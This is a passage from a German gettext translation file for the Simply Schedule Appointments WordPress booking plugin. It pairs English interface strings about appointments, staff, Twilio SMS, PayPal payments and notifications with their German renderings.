displayed to customers booking appointments" msgstr "Name, der Kunden angezeigt wird, die Termine buchen" #: languages/admin-app-translations.php:1144 msgid "Display name is required" msgstr "Anzeigename ist erforderlich" #: languages/admin-app-translations.php:1143 msgid "Display name" msgstr "Anzeigename" #: languages/admin-app-translations.php:1139 msgid "Name is required" msgstr "Name ist erforderlich" #: languages/admin-app-translations.php:1273 msgid "Looks like there aren't any inactive resources" msgstr "Wie es aussieht, gibt es keine inaktiven Teammitglieder" #: languages/admin-app-translations.php:1132 msgid "Looks like you're on your own so far. Click the button to add a new team member." msgstr "Wie es aussieht, bist du bisher alleine unterwegs. Klicke auf den Button, um ein neues Teammitglied hinzuzufügen." #: languages/admin-app-translations.php:557 msgid "Enable each appointment type to have its own availability. Can book appointments of different types at the same time." msgstr "Aktiviere für jede Terminart eine eigene Verfügbarkeit. So kannst du gleichzeitig Termine unterschiedlicher Art buchen." #: languages/admin-app-translations.php:556 msgid "Give appointment types independent availability" msgstr "Gib Terminarten unabhängige Verfügbarkeiten" #: languages/admin-app-translations.php:530 msgid "Load scripts on every page. Can be helpful if there are issues with loading the booking form via ajax" msgstr "Ladet die Scripts auf jeder Seite. Kann hilfreich sein, wenn es Probleme mit dem Laden des Buchungsformulars über Ajax gibt." #: languages/admin-app-translations.php:529 msgid "Enqueue scripts everywhere" msgstr "Scripts überall mit Enqueue-Methode einbinden" #: languages/admin-app-translations.php:520 msgid "Try the new scheduling calculator. May perform faster when booking." msgstr "Probiere den neuen Terminplaner aus. Möglicherweise arbeitet dieser bei der Buchung schneller." #: languages/admin-app-translations.php:519 msgid "Use the new availability algorithm" msgstr "Neuen Verfügbarkeitsalgorithmus verwenden" #: languages/admin-app-translations.php:515 msgid "Try enabling this option if you're having issues with the booking form displaying correctly." msgstr "Versuche diese Option zu aktivieren, wenn du Probleme mit der korrekten Anzeige des Buchungsformulars hast." #: languages/admin-app-translations.php:514 msgid "Use the API to embed the booking form" msgstr "Verwende die API zum Einbetten des Buchungsformulars" #: languages/admin-app-translations.php:511 msgid "Developer Settings" msgstr "Entwickler-Einstellungen" #: languages/admin-app-translations.php:71 msgid "Unable to delete staff" msgstr "Mitarbeiter können nicht gelöscht werden" #: languages/admin-app-translations.php:22 msgid "Make inactive" msgstr "Inaktiv schalten" #: languages/admin-app-translations.php:20 msgid "Make active" msgstr "Aktiv schalten" #: languages/admin-app-translations.php:1564 msgid "Toggle all" msgstr "Alle umschalten" #: languages/admin-app-translations.php:1563 msgid "Define blocks of availability and your customers can select any available time inside those blocks" msgstr "Definiere verfügbare Zeitblöcke und deine Kunden können einen beliebige Zeitspanne innerhalb dieser Blöcke auswählen" #: languages/admin-app-translations.php:1562 msgid "Available blocks" msgstr "Verfügbare Blöcke" #: languages/admin-app-translations.php:1561 msgid "Define specific appointment start times that your customers can select when booking" msgstr "Definiere spezifische Terminanfangszeiten, die deine Kunden bei einer Buchung auswählen können" #: languages/admin-app-translations.php:1560 msgid "Specific start times" msgstr "Spezifische Anfangszeiten" #: languages/admin-app-translations.php:1559 msgid "How would you like to define your availability for this appointment type?" msgstr "Wie möchtest du deine Verfügbarkeit für diese Terminart definieren?" #: languages/admin-app-translations.php:468 msgid "Select a translation pack" msgstr "Wähle ein Übersetzungspaket aus" #: languages/booking-app-new-translations.php:82 #: languages/booking-app-translations.php:68 msgid "Canceling appointment" msgstr "Termin stornieren" #: includes/class-utils.php:310 msgid "Sunday" msgstr "Sonntag" #: includes/class-utils.php:309 msgid "Saturday" msgstr "Samstag" #: includes/class-utils.php:308 msgid "Friday" msgstr "Freitag" #: includes/class-utils.php:307 msgid "Thursday" msgstr "Donnerstag" #: includes/class-utils.php:306 msgid "Wednesday" msgstr "Mittwoch" #: includes/class-utils.php:305 msgid "Tuesday" msgstr "Dienstag" #: includes/class-utils.php:304 msgid "Monday" msgstr "Montag" #: includes/class-utils.php:302 msgid "December" msgstr "Dezember" #: includes/class-utils.php:301 msgid "November" msgstr "November" #: includes/class-utils.php:300 msgid "October" msgstr "Oktober" #: includes/class-utils.php:299 msgid "September" msgstr "September" #: includes/class-utils.php:298 msgid "August" msgstr "August" #: includes/class-utils.php:297 msgid "July" msgstr "Juli" #: includes/class-utils.php:296 msgid "June" msgstr "Juni" #: includes/class-utils.php:295 msgid "May" msgstr "Mai" #: includes/class-utils.php:294 msgid "April" msgstr "April" #: includes/class-utils.php:293 msgid "March" msgstr "März" #: includes/class-utils.php:292 msgid "February" msgstr "Februar" #: includes/class-utils.php:291 msgid "January" msgstr "Januar" #: includes/class-capabilities.php:144 msgid "Manage Blackout Dates" msgstr "Sperrdaten verwalten" #: includes/class-capabilities.php:143 msgid "Manage Others' (Staff) Appointments" msgstr "Termine anderer (Mitarbeiter) verwalten" #: includes/class-capabilities.php:142 msgid "Manage Appointments" msgstr "Termine verwalten" #: includes/class-capabilities.php:141 msgid "Manage Appointment Types" msgstr "Terminarten verwalten" #: includes/class-capabilities.php:139 msgid "Manage SSA Settings" msgstr "SSA-Einstellungen verwalten" #: languages/admin-app-translations.php:1160 msgid "Can this team member manage their own blackout dates?" msgstr "Darf dieses Teammitglied seine eigenen Sperrdaten verwalten?" #: languages/admin-app-translations.php:1738 msgid "Staff" msgstr "Mitarbeiter" #: languages/admin-app-translations.php:400 msgid "Available in Business" msgstr "Verfügbar in Business" #: languages/admin-app-translations.php:15 #: languages/admin-app-translations.php:897 #: languages/admin-app-translations.php:1967 msgid "selected" msgstr "ausgewählt" #: includes/class-utils.php:270 msgid "F j, Y g:i a" msgstr "j. F Y G:i" #: includes/class-utils.php:268 msgid "g:i a" msgstr "G:i" #: includes/class-utils.php:266 msgid "F j, Y" msgstr "j. F Y" #: languages/admin-app-translations.php:1892 msgid "Gravity Form" msgstr "Gravity Form" #: languages/admin-app-translations.php:1898 msgid "Checking for payments" msgstr "Überprüfung der Zahlungen" #: languages/admin-app-translations.php:1893 msgid "View entry" msgstr "Eintrag anzeigen" #: languages/admin-app-translations.php:1891 msgid "Formidable Form" msgstr "Formidable Form" #: languages/admin-app-translations.php:1888 msgid "Checking appointment information" msgstr "Überprüfung der Termininformationen" #: languages/booking-app-new-translations.php:93 #: languages/booking-app-translations.php:77 msgid "Change selected time" msgstr "Ausgewählte Zeit ändern" #: languages/booking-app-new-translations.php:40 #: languages/booking-app-translations.php:36 msgid "View your appointment" msgstr "Termin anzeigen" #: languages/booking-app-new-translations.php:35 #: languages/booking-app-translations.php:32 msgid "Loading appointment" msgstr "Termin wird geladen" #: languages/booking-app-new-translations.php:30 #: languages/booking-app-translations.php:27 msgid "Appointment date selected" msgstr "Datum des Termins ausgewählt" #: languages/booking-app-new-translations.php:24 #: languages/booking-app-new-translations.php:25 #: languages/booking-app-translations.php:23 msgid "Enter your contact information" msgstr "Gib deine Kontaktinformationen ein" #: includes/class-translation.php:278 msgid "Cannot get source file: %s" msgstr "Quelldatei kann nicht geladen werden: %s" #: includes/class-translation.php:138 msgid "Missing locale" msgstr "Lokale Sprache nicht gefunden" #. translators: combined name for locales: 1: name in English, 2: native name #: includes/class-locale.php:70 msgctxt "locales" msgid "%1$s/%2$s" msgstr "%1$s/%2$s" #: languages/admin-app-translations.php:473 msgid "Last updated" msgstr "Zuletzt aktualisiert" #: languages/admin-app-translations.php:472 msgid "Language pack" msgstr "Sprachpaket" #: languages/admin-app-translations.php:471 msgid "Improve this translation" msgstr "Diese Übersetzung verbessern" #: languages/admin-app-translations.php:470 msgid "Installed translations" msgstr "Installierte Übersetzungen" #: languages/admin-app-translations.php:469 msgid "Download and Install" msgstr "Herunterladen und installieren" #: languages/admin-app-translations.php:467 msgid "Download and install language packs from translate.wordpress.org, even if they are incomplete." msgstr "Übersetzungspakete von translate.wordpress.org herunterladen und installieren, auch wenn diese noch nicht komplett sind." #: languages/admin-app-translations.php:466 msgid "Translations" msgstr "Übersetzungen" #: languages/booking-app-new-translations.php:68 #: languages/booking-app-translations.php:61 msgid "Saving your appointment information" msgstr "Deine Termininformationen speichern" #: languages/booking-app-new-translations.php:19 #: languages/booking-app-translations.php:19 msgid "Please check your timezone. For best results, choose a timezone named for your country or region." msgstr "Bitte überprüfe deine Zeitzone. Das beste Ergebnis erzielst du, indem du eine Zeitzone auswählst, die zu deinem Land oder deiner Region passt." #: languages/booking-app-new-translations.php:18 #: languages/booking-app-translations.php:18 msgid "We're having trouble guessing your timezone. Please check to be sure the timezone is correct." msgstr "Wir haben Schwierigkeiten, deine Zeitzone zu ermitteln. Bitte überprüfe, ob die Zeitzone korrekt ist." #: languages/admin-app-translations.php:482 msgid "You have an offset selected instead of a timezone. We recommend changing the setting to use a timezone appropriate for your country and region." msgstr "Du hast eine Zeitdifferenz statt einer Zeitzone gewählt. Wir empfehlen die Einstellung zu ändern, um eine für dein Land und deine Region geeignete Zeitzone zu verwenden." #: languages/admin-app-translations.php:14 msgid "Learn more" msgstr "Mehr erfahren" #: includes/beaver-builder/modules/booking/booking.php:21 msgid "Show an appointment booking form." msgstr "Termin-Buchungsformular anzeigen." #: includes/beaver-builder/modules/booking/booking.php:50 #: includes/beaver-builder/modules/upcoming-appointments/upcoming-appointments.php:39 msgid "Options" msgstr "Optionen" #: includes/beaver-builder/modules/booking/booking.php:47 #: includes/beaver-builder/modules/upcoming-appointments/upcoming-appointments.php:36 msgid "General" msgstr "Allgemein" #: includes/beaver-builder/modules/upcoming-appointments/upcoming-appointments.php:21 msgid "Show a list of upcoming appointments to a logged-in user." msgstr "Einem angemeldeten Benutzer eine Liste der kommenden Termine anzeigen." #: languages/booking-app-new-translations.php:31 #: languages/booking-app-translations.php:28 msgid "Modify a booked appointment" msgstr "Einen gebuchten Termin ändern" #: languages/booking-app-new-translations.php:36 #: languages/booking-app-new-translations.php:37 #: languages/booking-app-translations.php:33 #: languages/booking-app-translations.php:34 msgid "Select a time" msgstr "Uhrzeit auswählen" #: languages/booking-app-new-translations.php:26 #: languages/booking-app-new-translations.php:27 #: languages/booking-app-translations.php:24 msgid "Appointment booked" msgstr "Termin gebucht" #: languages/admin-app-translations.php:1320 msgid "Conversion Tracking" msgstr "Conversion-Tracking" #: languages/admin-app-translations.php:1319 msgid "Check the boxes below to enable tracking of page views and/or events. For more information on how tracking works and what gets tracked see our documentation:" msgstr "Aktiviere die untenstehenden Boxen, um das Tracking von Seitenaufrufen und/oder Ereignissen zu aktivieren. Weitere Informationen, wie das Tracking funktioniert und was getrackt wird, findest du in unserer Dokumentation:" #: languages/admin-app-translations.php:1318 msgid "Tracking" msgstr "Tracking" #: languages/admin-app-translations.php:1317 msgid "Reset" msgstr "Zurücksetzen" #: languages/admin-app-translations.php:1316 msgid "Track page views" msgstr "Seitenaufrufe tracken" #: languages/admin-app-translations.php:1315 msgid "Track custom events" msgstr "Individuelle Ereignisse tracken" #: includes/beaver-builder/modules/upcoming-appointments/upcoming-appointments.php:43 #: assets/js/block-upcoming-appointments.js:238 msgid "Message to display if customer has no upcoming appointments" msgstr "Meldung, die angezeigt wird, wenn der Kunde keine kommenden Termine hat" #: includes/beaver-builder/modules/booking/booking.php:54 #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:34 #: languages/admin-app-translations.php:894 msgid "Appointment Type" msgstr "Terminart" #: includes/beaver-builder/modules/booking/booking.php:20 msgid "Booking" msgstr "Buchung" #: includes/elementor/widgets/booking.php:37 msgid "Schedule an Appointment" msgstr "Einen Termin vereinbaren" #: includes/class-shortcodes.php:714 includes/class-shortcodes.php:748 #: includes/class-shortcodes.php:781 msgid "View Details" msgstr "Details anzeigen" #: includes/beaver-builder/modules/upcoming-appointments/upcoming-appointments.php:44 #: includes/class-block-upcoming-appointments.php:150 #: includes/class-shortcodes.php:709 includes/class-shortcodes.php:776 msgid "No upcoming appointments" msgstr "Keine kommenden Termine" #: includes/class-elementor.php:231 msgid "PHP" msgstr "PHP" #. translators: 1: Plugin name 2: Elementor 3: Required Elementor version #. translators: 1: Plugin name 2: PHP 3: Required PHP version #: includes/class-elementor.php:204 includes/class-elementor.php:229 msgid "\"%1$s\" requires \"%2$s\" version %3$s or greater." msgstr "„%1$s“ erfordert „%2$s“-Version %3$s oder höher." #: includes/class-elementor.php:182 includes/class-elementor.php:206 msgid "Elementor" msgstr "Elementor" #: includes/class-elementor.php:181 includes/class-elementor.php:205 #: includes/class-elementor.php:230 msgid "SSA Elementor Integration" msgstr "SSA-Elementor-Integration" #. translators: 1: Plugin name 2: Elementor #: includes/class-elementor.php:180 msgid "\"%1$s\" requires \"%2$s\" to be installed and activated." msgstr "„%1$s“ erfordert „%2$s“, um installiert und aktiviert zu werden." #: languages/admin-app-translations.php:923 msgid "The timezone to display for the customer" msgstr "Die dem Kunden anzuzeigende Zeitzone" #: languages/admin-app-translations.php:922 msgid "The admin timezone set in general settings" msgstr "Die in den allgemeinen Einstellungen gesetzte Administrator-Zeitzone" #: languages/admin-app-translations.php:776 msgid "This gets displayed on your customer's credit card statement (after first 10 characters of your company name)" msgstr "Diese Information wird auf der Kreditkartenabrechnung deines Kunden angezeigt (nach den ersten 10 Stellen deines Firmennamens)" #: languages/admin-app-translations.php:775 msgid "10 characters maximum. Alphanumeric, at least one letter, and no < > \\ ' or \"" msgstr "Maximal 10 Zeichen. Alphanumerisch, mindestens ein Buchstabe und kein < > \\ ' oder \"" #: languages/admin-app-translations.php:171 msgid "Client secret is required for Google Calendar authorization" msgstr "Für die Autorisierung von Google Kalender ist der Client-Schlüssel erforderlich" #: languages/admin-app-translations.php:170 msgid "Client ID is required for Google Calendar authorization" msgstr "Client-ID ist für die Autorisierung von Google Kalender erforderlich" #: includes/class-templates.php:151 includes/class-templates.php:152 msgid "[customer info will go here...]" msgstr "[Kundeninfo hier eintragen ...]" #: languages/admin-app-translations.php:1036 msgid "Unable to send test message. Please check your settings." msgstr "Testnachricht kann nicht gesendet werden. Bitte überprüfe deine Einstellungen." #: languages/admin-app-translations.php:1035 msgid "Test message sent!" msgstr "Testnachricht gesendet!" #: languages/admin-app-translations.php:1034 msgid "The phone number to send a test message to" msgstr "Telefonnummer zum Versenden einer Testnachricht" #: languages/admin-app-translations.php:1031 msgid "Test your Twilio API settings and ensure messages are delivered" msgstr "Teste deine Twilio-API-Einstellungen und stelle sicher, dass die Nachrichten zugestellt werden" #: languages/admin-app-translations.php:1030 msgid "Send a test message" msgstr "Eine Testnachricht senden" #: languages/admin-app-translations.php:1029 msgid "None of your appointments types is collecting a phone number from your customers. There is no way to send an SMS notification." msgstr "Keine deiner Terminarten erfasst eine Telefonnummer von deinen Kunden. Es gibt keine Möglichkeit, eine SMS-Benachrichtigung zu versenden." #: languages/admin-app-translations.php:1028 msgid "No phone numbers" msgstr "Keine Telefonnummern" #: languages/admin-app-translations.php:1027 msgid "None of your appointment types have phone number fields" msgstr "Keine deiner Terminarten verfügt über Telefonnummern-Felder" #: languages/admin-app-translations.php:1026 msgid "Only appointment types with at least one phone number field are displayed." msgstr "Es werden nur Terminarten mit mindestens einem Telefonnummer-Feld angezeigt." #: languages/admin-app-translations.php:1025 msgid "Twilio is enabled, but your account is not connected." msgstr "Twilio ist aktiviert, aber dein Konto ist nicht verbunden." #: languages/admin-app-translations.php:1020 msgid "Get your Twilio Test Account Auth Token from your Twilio account" msgstr "Dein Twilio-Testkonto-Authentifizierungs-Token aus deinem Twilio-Konto holen" #: languages/admin-app-translations.php:1019 msgid "The test account auth token is required for test mode" msgstr "Das Testkonto-Authentifizierungs-Token ist für den Testmodus erforderlich" #: languages/admin-app-translations.php:1018 msgid "Twilio Test Auth Token" msgstr "Twilio-Test-Authentifizierungs-Token" #: languages/admin-app-translations.php:1017 msgid "Get your Twilio Test Account SID from your Twilio account" msgstr "Deine Twilio-Testkonto-SID aus deinem Twilio-Konto holen" #: languages/admin-app-translations.php:1016 msgid "The test account SID is required for test mode" msgstr "Die Testkonto-SID ist für den Testmodus erforderlich" #: languages/admin-app-translations.php:1015 msgid "Twilio Test Account SID" msgstr "Twilio-Testkonto-SID" #: languages/admin-app-translations.php:1014 msgid "Twilio is in test mode." msgstr "Twilio ist im Testmodus." #: languages/admin-app-translations.php:1013 msgid "Place Twilio in test mode to use test account SID and test auth token" msgstr "Twilio in den Testmodus versetzen, um die Testkonto-SID und das Authentifizierungs-Token zu nutzen" #: languages/admin-app-translations.php:1012 msgid "Test mode" msgstr "Testmodus" #: languages/admin-app-translations.php:1011 msgid "Optional advanced settings for Twilio" msgstr "Optionale erweiterte Einstellungen für Twilio" #: languages/admin-app-translations.php:1010 msgid "Advanced settings" msgstr "Erweiterte Einstellungen" #: languages/admin-app-translations.php:1009 msgid "Get a Twilio phone number" msgstr "Eine Twilio-Telefonnummer erhalten" #: languages/admin-app-translations.php:1008 msgid "You need a Twilio phone number to send SMS messages" msgstr "Du benötigst eine Twilio-Telefonnummer, um SMS-Nachrichten zu versenden" #: languages/admin-app-translations.php:1007 msgid "Sending Phone Number (from Twilio)" msgstr "Telefonnummer senden (aus Twilio)" #: languages/admin-app-translations.php:1006 msgid "Get your Twilio Auth Token from your Twilio account" msgstr "Dein Twilio-Authentifizierungs-Token aus deinem Twilio-Konto holen" #: languages/admin-app-translations.php:1005 msgid "A Twilio Auth Token is required" msgstr "Ein Twilio-Authentifizierungs-Token ist erforderlich" #: languages/admin-app-translations.php:1004 msgid "Twilio Auth Token" msgstr "Twilio-Authentifizierungs-Token" #: languages/admin-app-translations.php:1003 msgid "Get your Twilio Account SID from your Twilio account" msgstr "Deine Twilio-Konto-SID aus deinem Twilio-Konto holen" #: languages/admin-app-translations.php:1002 msgid "A Twilio Account SID is required" msgstr "Eine Twilio-Konto-SID ist erforderlich" #: languages/admin-app-translations.php:1001 msgid "Twilio Account SID" msgstr "Twilio-Konto-SID" #: languages/admin-app-translations.php:1000 msgid "The required settings for Twilio" msgstr "Die erforderlichen Einstellungen für Twilio" #: languages/admin-app-translations.php:999 msgid "Basic settings" msgstr "Grundeinstellungen" #: languages/admin-app-translations.php:993 msgid "Formatting your preview..." msgstr "Formatieren deiner Vorschau ..." #: languages/admin-app-translations.php:992 #: languages/booking-app-new-translations.php:28 #: languages/booking-app-new-translations.php:29 #: languages/booking-app-new-translations.php:38 #: languages/booking-app-new-translations.php:39 #: languages/booking-app-translations.php:25 #: languages/booking-app-translations.php:26 #: languages/booking-app-translations.php:35 msgid "Select an appointment type" msgstr "Wähle eine Terminart" #: languages/admin-app-translations.php:991 msgid "Select an appointment" msgstr "Wähle einen Termin" #: languages/admin-app-translations.php:990 msgid "Getting appointments..." msgstr "Termine laden ..." #: languages/admin-app-translations.php:965 #: languages/admin-app-translations.php:1348 msgid "Appointment Rescheduled" msgstr "Termin umgebucht" #: languages/admin-app-translations.php:908 msgid "No appointment types have phone number fields" msgstr "Keine Terminarten haben Telefonnummern-Felder" #: languages/admin-app-translations.php:907 msgid "No admin phone number is set" msgstr "Keine Administrator-Telefonnummer festgelegt" #: languages/admin-app-translations.php:902 msgid "Please select at least one recipient" msgstr "Bitte wähle mindestens einen Empfänger aus" #: languages/admin-app-translations.php:861 msgid "Customer phone number" msgstr "Telefonnummer des Kunden" #: languages/admin-app-translations.php:860 msgid "Return to notifications" msgstr "Zurück zu den Benachrichtigungen" #: languages/admin-app-translations.php:754 msgid "Please enter a valid API key" msgstr "Bitte einen gültigen API-Schlüssel eingeben" #: languages/admin-app-translations.php:495 msgid "Number where SMS reminders will be sent" msgstr "Nummer, an die SMS-Erinnerungen gesendet werden sollen" #: languages/admin-app-translations.php:493 msgid "Admin phone number" msgstr "Telefonnummer Administrator" #: languages/admin-app-translations.php:431 msgid "This feature is not currently enabled. Please enable this feature to view the settings." msgstr "Diese Funktion ist zurzeit nicht aktiviert. Bitte aktiviere sie, um die Einstellungen zu sehen." #: languages/admin-app-translations.php:430 msgid "Feature not enabled" msgstr "Funktion nicht aktiviert" #: languages/admin-app-translations.php:210 msgid "Now available!" msgstr "Jetzt verfügbar!" #: languages/admin-app-translations.php:494 #: languages/admin-app-translations.php:1033 #: languages/booking-app-new-translations.php:129 #: languages/booking-app-translations.php:91 msgid "Please enter a valid phone number" msgstr "Bitte eine gültige Telefonnummer eingeben" #: languages/booking-app-new-translations.php:65 #: languages/booking-app-translations.php:58 msgid "Please remind me about this appointment by text message at this number" msgstr "Bitte erinnere mich an diesen Termin mit einer Text-Nachricht an diese Nummer" #: languages/booking-app-translations.php:43 msgid "Thank you! Your appointment is booked" msgstr "Vielen Dank! Dein Termin wurde gebucht" #: includes/class-async-action-model.php:126 msgid "Once every minute" msgstr "Einmal pro Minute" #: languages/admin-app-translations.php:1629 msgid "Save order" msgstr "Reihenfolge speichern" #: languages/admin-app-translations.php:1628 msgid "Reorder" msgstr "Neu ordnen" #: languages/admin-app-translations.php:971 msgid "More details" msgstr "Weitere Details" #: languages/admin-app-translations.php:970 msgid "This notification might be delayed or not sent as expected." msgstr "Diese Benachrichtigung kann sich verzögern oder nicht wie erwartet gesendet werden." #: languages/admin-app-translations.php:928 msgid "The customer's email address." msgstr "Die E-Mail Adresse des Kunden." #: languages/admin-app-translations.php:914 msgid "The appointment admin email" msgstr "E-Mail des Termin-Administrators" #: languages/admin-app-translations.php:883 msgid "Message" msgstr "Nachricht" #: languages/admin-app-translations.php:880 msgid "When to send this notification" msgstr "Wann diese Benachrichtigung gesendet werden soll" #: includes/class-shortcodes.php:689 includes/class-shortcodes.php:691 #: includes/class-shortcodes.php:693 msgid "Book a time" msgstr "Buche eine Uhrzeit" #: languages/booking-app-new-translations.php:196 #: languages/booking-app-translations.php:155 msgid "PayPal is taking a little longer than usual to process your payment. Don't worry - we'll hold your appointment time for you. This usually resolves within a few minutes, or in rare cases, a few hours. Once your payment is processed, you'll receive an email confirmation of this appointment. If you don't receive that, please get in touch." msgstr "PayPal braucht etwas länger als üblich, um deine Zahlung zu verarbeiten. Aber keine Sorge – wir halten deinen Termin für dich frei. Dies löst sich in der Regel innerhalb weniger Minuten, in seltenen Fällen auch innerhalb weniger Stunden. Sobald deine Zahlung abgeschlossen wurde, erhältst du eine E-Mail-Bestätigung für diesen Termin. Solltest du diese nicht erhalten, setze dich bitte mit uns in Verbindung." #: languages/booking-app-new-translations.php:195 #: languages/booking-app-translations.php:154 msgid "Things are taking longer than expected" msgstr "Es dauert länger als erwartet" #: languages/booking-app-new-translations.php:180 #: languages/booking-app-translations.php:140 msgid "No payment was processed. Please try again." msgstr "Es wurde keine Zahlung verarbeitet. Bitte versuche es erneut." #: languages/booking-app-new-translations.php:57 #: languages/booking-app-translations.php:51 msgid "We'll hold your appointment time for 10 minutes to give you time to complete payment with PayPal" msgstr "Wir reservieren deinen Termin für 10 Minuten, damit du Zeit hast, die Zahlung mit PayPal abzuschließen" #: languages/booking-app-new-translations.php:55 #: languages/booking-app-translations.php:49 msgid "Pay with PayPal" msgstr "Mit PayPal bezahlen" #: languages/booking-app-new-translations.php:7 #: languages/booking-app-translations.php:7 msgid "Save timezone" msgstr "Zeitzone speichern" #: languages/booking-app-new-translations.php:6 #: languages/booking-app-translations.php:6 msgid "Go forward" msgstr "Weiter" #: languages/booking-app-new-translations.php:5 #: languages/booking-app-translations.php:5 msgid "Change the timezone." msgstr "Zeitzone ändern." #: languages/booking-app-new-translations.php:4 #: languages/booking-app-translations.php:4 msgid "Go back" msgstr "Zurück" #: languages/admin-app-translations.php:1910 msgid "Pending" msgstr "Ausstehend" #: languages/admin-app-translations.php:1837 msgid "All appointments loaded" msgstr "Alle Termine geladen" #: languages/admin-app-translations.php:1836 msgid "Load more appointments" msgstr "Weitere Termine laden" #: languages/admin-app-translations.php:798 msgid "A valid SSL certificate is required to use PayPal payments" msgstr "Für die Verwendung von PayPal-Zahlungen ist ein gültiges SSL-Zertifikat erforderlich" #: languages/admin-app-translations.php:797 msgid "Get instructions." msgstr "Instruktionen erhalten." #: languages/admin-app-translations.php:796 msgid "You must add this URL to your PayPal settings." msgstr "Du musst diese URL zu deinen PayPal-Einstellungen hinzufügen." #: languages/admin-app-translations.php:795 msgid "Your PayPal IPN Notification URL has been copied to your clipboard" msgstr "Deine PayPal-IPN-Benachrichtigungs-URL wurde in deine Zwischenablage kopiert" #: languages/admin-app-translations.php:794 msgid "IPN Notification URL" msgstr "IPN-Benachrichtigungs-URL" #: languages/admin-app-translations.php:185 msgid "Display your booking form on any post or page with the shortcode, or use our Gutenberg block to add the booking form to a post or page." msgstr "Mit dem Shortcode lässt sich dein Buchungsformular in jedem Beitrag oder jeder Seite einbinden, oder du nutzt unseren Gutenberg-Block, um das Buchungsformular einem Beitrag oder einer Seite hinzuzufügen." #: languages/booking-app-new-translations.php:64 #: languages/booking-app-translations.php:57 msgid "Select a time on" msgstr "Wähle eine Uhrzeit aus am" #: languages/booking-app-new-translations.php:32 #: languages/booking-app-new-translations.php:33 #: languages/booking-app-new-translations.php:34 #: languages/booking-app-new-translations.php:63 #: languages/booking-app-translations.php:29 #: languages/booking-app-translations.php:30 #: languages/booking-app-translations.php:31 #: languages/booking-app-translations.php:56 msgid "Select a date" msgstr "Wähle ein Datum aus" #: languages/admin-app-translations.php:1882 msgid "Customer" msgstr "Kunde" #: languages/admin-app-translations.php:1881 msgid "Booked by" msgstr "Gebucht von" #: languages/admin-app-translations.php:1872 msgid "Deleting appointment" msgstr "Termin löschen" #: languages/admin-app-translations.php:1870 msgid "Your customer will not receive any notification that the appointment was deleted. If you would like your customer to receive a notification of a canceled appointment, please cancel the appointment before deleting it." msgstr "Dein Kunde wird keine Benachrichtigung erhalten, dass der Termin gelöscht wurde. Wenn du möchtest, dass dein Kunde über die Terminabsage informiert wird, storniere bitte den Termin, bevor du ihn löschst." #: languages/admin-app-translations.php:1869 msgid "This cannot be undone. All information associated with this appointment will be permanently removed" msgstr "Dies kann nicht rückgängig gemacht werden. Alle Informationen, die mit diesem Termin verbunden sind, werden endgültig gelöscht." #: languages/admin-app-translations.php:1866 msgid "Delete appointment" msgstr "Termin löschen" #: languages/admin-app-translations.php:1864 msgid "Delete this appointment?" msgstr "Diesen Termin löschen?" #: languages/admin-app-translations.php:1591 msgid "The Notice Required must be less than the Advance setting" msgstr "Die Ankündigungszeit muss kürzer sein als die Voraus-Einstellung" #: languages/admin-app-translations.php:1358 msgid "You must select at least one appointment type" msgstr "Du musst mindestens eine Terminart auswählen" #: languages/admin-app-translations.php:1352 msgid "Please enter a valid URL" msgstr "Bitte gib eine gültige URL ein" #: languages/admin-app-translations.php:1338 msgid "Token is required. Hit the refresh button to generate a random token." msgstr "Token ist erforderlich. Drücke den Aktualisierungs-Button, um ein zufälliges Token zu generieren." #: templates/calendar-events/individual-shared.php:24 #: templates/notifications/email/text/booked-customer.php:35 msgid "Your details:" msgstr "Deine Daten:" #: templates/calendar-events/individual-admin.php:24 #: templates/notifications/email/text/booked-staff.php:34 #: templates/notifications/email/text/canceled-staff.php:27 msgid "Customer details:" msgstr "Kundendetails:" #: languages/admin-app-translations.php:985 msgid "Cc/Bcc" msgstr "CC/BCC" #: languages/admin-app-translations.php:978 msgid "Delete this notification?" msgstr "Diese Benachrichtigung löschen?" #: languages/admin-app-translations.php:976 #: languages/admin-app-translations.php:1805 msgid "Before" msgstr "Davor" #: languages/admin-app-translations.php:975 #: languages/admin-app-translations.php:1806 msgid "After" msgstr "Danach" #: languages/admin-app-translations.php:966 msgid "Time of Appointment" msgstr "Uhrzeit des Termins" #: languages/admin-app-translations.php:1938 #: languages/admin-app-translations.php:2204 msgid "Edited" msgstr "Bearbeitet" #: languages/admin-app-translations.php:1923 #: languages/admin-app-translations.php:1932 #: languages/admin-app-translations.php:2198 msgid "Booked" msgstr "Gebucht" #: languages/admin-app-translations.php:932 msgid "The timezone selected in the Simply Schedule Appointments settings." msgstr "Die Zeitzone, die in den Einstellungen von Simply Schedule Appointments ausgewählt wurde." #: languages/admin-app-translations.php:930 msgid "The URL of the site where Simply Schedule Appointments is installed" msgstr "Die URL der Website, auf der Simply Schedule Appointments installiert ist" #: languages/admin-app-translations.php:925 msgid "The start date and time of the appointment" msgstr "Datum und Uhrzeit des Termins" #: languages/admin-app-translations.php:924 msgid "The link to edit, cancel, or reschedule the appointment" msgstr "Der Link zum Bearbeiten, Stornieren oder Verschieben des Termins" #: languages/admin-app-translations.php:921 #: languages/admin-app-translations.php:927 msgid "The customer's name" msgstr "Der Kundenname" #: languages/admin-app-translations.php:916 msgid "The title of the selected appointment type" msgstr "Die Bezeichnung der ausgewählten Terminart" #: languages/admin-app-translations.php:915 msgid "The optional customer instructions associated with the selected appointment type." msgstr "Die optionalen Kundeninstruktionen, die mit der ausgewählten Terminart verbunden sind." #: languages/admin-app-translations.php:911 msgid "Notification templates are created with Twig. The following tokens are available." msgstr "Benachrichtigungs-Templates werden mit Twig erstellt. Die folgenden Token sind verfügbar." #: languages/admin-app-translations.php:910 msgid "Notification Template Details" msgstr "Details zum Benachrichtigungs-Template" #: languages/admin-app-translations.php:906 msgid "Message is required" msgstr "Mitteilung ist erforderlich" #: languages/admin-app-translations.php:905 msgid "Subject is required" msgstr "Betreff ist erforderlich" #: languages/admin-app-translations.php:904 msgid "Please select at least one appointment type" msgstr "Bitte wähle mindestens eine Terminart aus" #: languages/admin-app-translations.php:903 msgid "You must select a trigger for a notification" msgstr "Du musst einen Trigger für eine Benachrichtigung auswählen" #: languages/admin-app-translations.php:901 msgid "Please enter a valid email address" msgstr "Bitte gib eine gültige E-Mail-Adresse ein" #: languages/admin-app-translations.php:882 msgid "Subject" msgstr "Betreff" #: languages/admin-app-translations.php:881 msgid "When" msgstr "Wann" #: languages/admin-app-translations.php:879 msgid "Trigger" msgstr "Trigger" #: languages/admin-app-translations.php:878 msgid "Bcc" msgstr "BCC" #: languages/admin-app-translations.php:877 msgid "Cc" msgstr "CC" #: languages/admin-app-translations.php:875 #: 